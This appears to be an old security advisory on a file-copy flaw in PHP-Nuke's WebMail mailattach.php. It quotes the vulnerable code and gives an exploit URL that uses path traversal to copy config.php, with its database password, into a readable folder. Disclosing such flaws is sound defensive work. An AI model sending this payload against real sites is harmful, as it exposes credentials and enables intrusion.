[UNIX] PHP-Nuke WebMail Command Execution Vulnerability (Mailattach)

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Date: 10/09/03

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      PHP-Nuke WebMail Command Execution Vulnerability (Mailattach)
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    SUMMARY

     <http://www.phpnuke.org> PHP-Nuke is an open-source program for creating
    and managing news-based Web sites created by Francisco Burzi. PHP-Nuke
    could allow a remote attacker to include malicious PHP files, caused by a
    vulnerability in the WebMail module and all other modules with the ability
    to upload files.

    DETAILS

    Vulnerable systems:
     * PHP-Nuke version 6.0
     * PHP-Nuke version6.5

    A remote attacker can send a specially crafted URL request to the
    mailattach.php script that specifies a malicious PHP file from a remote
    system as a parameter, which would allow the attacker to execute code on
    the vulnerable Web server, and possibly obtain a user's database password.

    Vulnerable code:
    From mailattach.php file:
    if (isset($userfile) AND $userfile != "none") {
        if (ini_get(file_uploads) AND $attachments == 1) {
      $updir = "tmp";
      @copy($userfile, "$updir/$userfile_name");

    Exploit:
    http://target.server/modules/WebMail/mailattach.php?userfile=../../config.php&userfile_name=../attachments/file.txt&attachments=1

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
    Man.

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